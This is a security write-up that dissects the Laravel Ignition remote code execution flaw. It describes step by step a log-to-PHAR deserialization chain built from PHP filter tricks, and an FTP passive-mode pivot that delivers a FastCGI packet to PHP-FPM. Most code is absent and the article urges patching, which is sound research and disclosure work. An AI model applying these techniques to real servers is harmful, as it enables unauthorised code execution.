Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework

The Ignition library is used to customize error messages (e.g. during the development and debugging). It’s present in Laravel, as well as in some other projects, out of the box.

The vulnerability originates from incorrect processing of POST request parameters. As a result, the attacker can send arbitrary data as arguments to the file_get_contents and file_put_contents functions. A specially crafted chain of such requests allows to execute arbitrary code on the target system.

Test system

I will use a Docker container based on Debian 10 as a test system.

Installing required packages. I am going to use nginx web server.

Next, I install Composer.

Using it, I create a project based on the Laravel framework. For convenience purposes, the files will be located in the /var/www folder.

I edit nginx config files to enable the processing of PHP scripts and configure the redirect required for Laravel.

Tweaking the PHP-FPM daemon so that it uses TCP and runs on port 9000.

To examine the operation of the Ignition library in detail, I need a simple controller. Therefore, I add the test route.

/var/www/routes/web.php

Now I have to create a view for this route. Laravel uses the Blade template engine to describe views.

/www/resources/views/test.blade.php

where $name is the variable that must be passed to view.

Finally, I download the framework source code. It can be obtained directly from the Docker container.

The test system is ready.

Vulnerability details

First, I check whether Ignition is enabled. I can send a request the specific route doesn’t have a handler for. For instance, send DELETE to index.php.

The following request is more suitable for the examined vulnerability:

If you see a nice picture with an error message (like the one shown in the screenshot), then everything is going according to the plan. In addition to custom error pages, Ignition allows to create so-called ‘solutions’. These are small code fragments that help to solve problems encountered by developers. Take, for instance, the above-mentioned test route. In the template, I use the $name variable, but don’t pass it; accordingly, Laravel returns an error.

Note the button “Make variable optional”. If you press it, the following request will be sent to the server:

The solution parameter specifies the class to be executed. Too bad, you cannot specify an arbitrary class since Ignition requires the called class to implement the RunnableSolution interface.

/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

Let’s examine the MakeViewVariableOptionalSolution code to find out how it works. First, the makeOptional method is called.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

It reads a file the path to which was passed in the viewFile parameter.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

Then the variable passed in variableName changes its format from $name to $name ?? ''.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

Then the template verification is performed. The program wants to make sure that the code structure hasn’t changed more than it’s supposed to.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

It something goes wrong, then makeOptional will return false; otherwise (i.e. if everything went smoothly), the template content will be overwritten.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

In other words, simple file reading and writing operations are performed.

To manipulate the full path to the file, all I have to do is modify it in the request. But what would it give to me?

The first thing that comes to my mind is an exploitation technique based on PHAR deserialization. But to use it, I must be able to load a file with arbitrary content and know the path to this file in the system.

If you really can fulfil these two conditions, you won’t have any problems with RCE. However, it’s not that interesting; so, let’s see what can be done with the default Laravel configuration.

First of all, I will need PHP wrappers; to be specific, php://filter. Using a combination of built-in filters, I can manipulate the file content before it’s used. So, I create a test file.

Then I write a PHP script that performs file read and write operations similar to those used in Ignition.

/tmp/test.php

The $file variable is similar to viewFile and contains the path string. This parameter can be manipulated.

Each string is followed by a comment explaining what happens after its execution. In the end, the file content will be Hello.

This is how the file content can be changed simply by manipulating the path to it. The only problem is that the base64-decode filter is applied twice. To solve it, the constructs calling the wrapper must be altered.

/tmp/test-onetime.php

Clearing the log file

Now let’s get back to the earlier idea: execute arbitrary code via PHAR deserialization. As said above, in the ideal variant, you can upload arbitrary files, and you know the path to them. My test system doesn’t offer such a luxury, but there is one file whose name and path are quite predictable: the log file of the Laravel framework. By default, it’s located in the storage/logs directory. The file contains error messages, like the ones displayed in the Ignition browser.

Let’s see what information is written to the log when a nonexistent path passed in a solution parameter is processed

So, it turns out that I can control part of the log contents by manipulating the viewFile variable. Researcher Charles Fol found a way to transform the log file into a fully functional PHAR archive with the desired contents using manipulations with a set of filters and a chain of requests.

So, I get back to the base64-decode filter. Let’s see how it works with characters that are not included in the Base64 encoding alphabet.

As you can see, such characters are simply ignored, and only the correct Base64 string is decoded. But if the program encounters an incorrect string, a warning is displayed and an empty string is returned. An easy way to invalidate a dataset is to add the alignment suffix (=) in the middle.

In theory, this trick could be used to clear the contents of any file, but there is a slight problem: the exception handlers in the framework. When a filter returns a warning, Laravel intercepts it, writes the trace to the log file, and stops executing the script.

Therefore, I have to find a filter that neither returns an error, nor returns content, but still accesses the required file. So, I check what filters are available in the current PHP version.

Note the consumed filter: you won’t find its description in the documentation. Therefore, let’s take a closer look at its source code.

/ext/standard/filters.c

This undocumented filter does exactly what I need. So, I apply it and view the result.

Now that I can clear the file, time to find out how a PHAR archive can be created.

Controlling the log file

To examine the structure of the log file, I send a request that reads a nonexistent file

storage/logs/laravel.log

Generally speaking, the first string of each such record has the following format:

This brings me to the next problem: how to discard all unnecessary data and leave only the part that can be manipulated? Fortunately, PHP has many conversion filters for various encodings. All of them have the prefix convert.iconv.*.

I use the one of the features of the UTF-16 encoding, namely UTF-16LE (without the byte order mark). It encodes characters in two-byte words. Standard ASCII characters have the same format, except that the \x00 byte that is added to them.

Now I am going to create a file, and a part of it will contain a string encoded in UTF-16LE (i.e. my payload).

Then I use the convert.iconv.utf16le.utf-8 filter that converts the contents of my test file into UTF-8.

test-utf16utf8.php

As you can see, only the two payloads remain readable. I don’t need both of them, and since UTF-16 operates with two bytes, I can shift the alignment of the second payload by adding an extra byte at the end.

Success! The pairs of bytes processed by the converter after the first payload have been shifted, and I got the required string.

Now I am going to use the base64-decode filter: it will discard all invalid characters and try to decode only the payload, which is exactly what I need.

Too bad, there is another problem there. The payload will be passed to the file_get_contents function as a file name; accordingly, it won’t be possible to use null bytes required to present the text in the UTF-16 format.

Again, I use filters to circumvent this restriction. Filters.covert.quoted-printable enables me to use null bytes by presenting them as =00.

At this stage, almost everything is ready for exploitation, but there might be yet another problem. The reason is in the same UTF-16 feature: the character size must be two bytes. If the total log size is odd, then the convert.iconv.utf-16le.utf-8 filter will return a warning.

As said above, Laravel processes all exceptions and stops executing the script. Therefore, for alignment purposes, you can add one more record to the log file using the same request and specify a string of the required size as the file name in viewFile.

Exploitation via PHAR archive

Time to assemble a workable exploit. I am going to generate my payload with phpggc. This tool generates gadget chains for PHP deserialization attacks. Importantly, it can write the result as a PHAR archive.

Monolog/RCE1 will be used as a gadget; a suitable version of this package is present in the default Laravel version.

The fast-destruct flag allows to display the command output right away. Converting the resultant archive into a payload:

Time has come for exploitation.

First, I clear the log file.

If necessary, I send a request to make the size of the resultant file correct (i.e. even). In my case, two AA bytes were sufficient.

Now I’m supposed to deal with the payload, but there is another problem. The trace that is written to the log file can be different, and this can ruin the exploitation. This happens because one of the stack elements displays the executed function whose argument has been truncated to the first N bytes.

On my test system, N = 15 bytes (P=00D=009=00w=0). The filter processing such a construct will return an invalid byte sequence exception, and you know how Laravel deals with exceptions…

To avoid this error, I can add the required number of characters that will be discarded by the Base64 decoder and not accepted by the quoted-printable-decode filter. I use the minus sign and add 16 (it’s better to use even numbers!) such characters at the beginning of the payload.

The next step is to convert the log file into a valid PHAR archive. I send a request with a familiar set of filters.

If the server returns an empty answer with code 200, then everything is going fine.

And the final step: to execute the generated payload, I address the log as a PHAR archive.

The response displays the output of the id command.

The above exploitation technique is good, although it has some drawbacks. For instance, you must know the path to the log or any other file available for writing in the system. But what if you don’t?

Exploitation via FTP => PHP-FPM

If the first exploitation variant is impossible or failed, there is another option.

First of all, it’s necessary to examine some features of the FTP protocol. It can run in the active or passive mode, which determines the connection method. In the active mode, the client creates a connection to the server and sends its IP address and an arbitrary port number (the one to be used for connection) to the server. In the passive mode, the client sends a PASV command, receives an IP address and port number from the server, and uses them for connection. The point is that you can use any values, and the IP address can be 127.0.0.1. This is how you can connect to services available only from the internal infrastructure.

My test environment includes the PHP-FPM daemon that listens to port 9000.

It uses the FastCGI protocol and can be accessed directly using specially generated packets. There are plenty of utilities created for this purpose, for instance, cgi-fcgi from the libfcgi library.

FILENAME is the absolute path to an existing script. In fact, you don’t have to know it; the point is that the extension must be .php. What is really important is the PHP_VALUE environment variable, namely the auto_prepend_file option. This directive overrides another directive of the same name in the PHP configuration file. All subsequent calls on this worker will use this setting. It specifies the name of the file that is automatically parsed prior to the main file. I use wrappers and directly specify the code (previously encoded in Base64) that I want to execute.

For exploitation, I will need a more universal payload. For testing purposes, php://input will suffice. After the successful exploitation, everything that is passed in the request body will be processed by the PHP interpreter.

Now I need the contents of the packet that will be sent to PHP-FPM to specify the required settings. For this purpose, I use the fpm.py script created by phith0n.

I slightly modify the original script so that it saves the packet into the file exploit.bin.

fcgi_packet_generator.py

The algorithm is as follows:

1. I send a request that addresses my FTP server; to do this, I simply use the ftp://IP:PORT/filename.ext scheme.
2. The server address is passed to the file_get_contents function, and the connection is established.
3. My FTP server receives a connection with a request for a file and responds that it can pass it in the passive mode. To do this, I have to connect to a specific host and port.
4. On this port, I am waiting for a connection to pass the file containing the payload (exploit.bin) to the server.

5. At this point, the execution of the file_get_contents function is completed, and the $originalContents variable now contains my payload.

   /vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

   73: public function makeOptional(array $parameters = [])

   74: {

   75: $originalContents = file_get_contents($parameters['viewFile']);

6. Then the file_put_contents function comes into play. It reconnects to the same FTP server – but this time, to write the file.

7. My server enters the passive mode and responds to the client that it must connect to host 127.0.0.1 and port 9000 (i.e. to the PHP-FPM daemon) in order to transmit the content that has to be written to the file.

8. The client connects and sends the contents of exploit.bin that contains the correct FastCGI packet. This is how the payload is delivered to the right place.

Now I have to implement this algorithm in practice. I use the fake_ftp.py script created by Ivan @dfyz Komarov as an FTP server and add to it the processing of additional commands and two sequential connections.

fake_ftp.py

Note the format used to transmit the host and port in order to manage the client connections. The port number is calculated using the formula {(first value * [2^8]) + second value}; therefore, I have to perform the reverse operation in the code.

When the client connects to port 65123 for the first time, I have to transmit the file containing the payload. To do this, I use a simple Python script that uses the socket library.

serve_file_pasv.py

The chain is ready. It must be executed in the right sequence: first of all, I generate a packet file containing the payload.

Then I execute the script that will pass it to the client.

Then I launch the FTP server that will manage the connections and direct them as required.

Next, I send a connection request to this FTP server.

The server sends a response with code 200, which means that the chain has been executed properly.

Now I can execute arbitrary PHP code by simply sending it in the request body.

The complete source code for all exploit components can be found in my repository on GitHub.

Of course, such attacks over FTP make it possible to exploit not only PHP-FPM, but any services accessible from a vulnerable machine, including memcache and Redis. Overall, the exploitation over FTP is a very actual and interesting topic. I strongly recommend reviewing a presentation on that subject made by my colleague Bo0oM.

Conclusions

In this article, I examined two interesting exploitation variants (that actually resemble CTF tasks) for the same vulnerability. Generally speaking, if an app is created on the basis of a set of libraries, it can compromise the security of major projects, including Laravel. On the other hand, this approach enables the developers to quickly update or completely remove untrusted libraries that contain dangerous bugs.

The developers have promptly fixed this vulnerability in Ignition v. 2.5.2; so, update your system ASAP, and let Composer be with you.

/var/www/composer.json

By default, all new Laravel versions use the updated library version.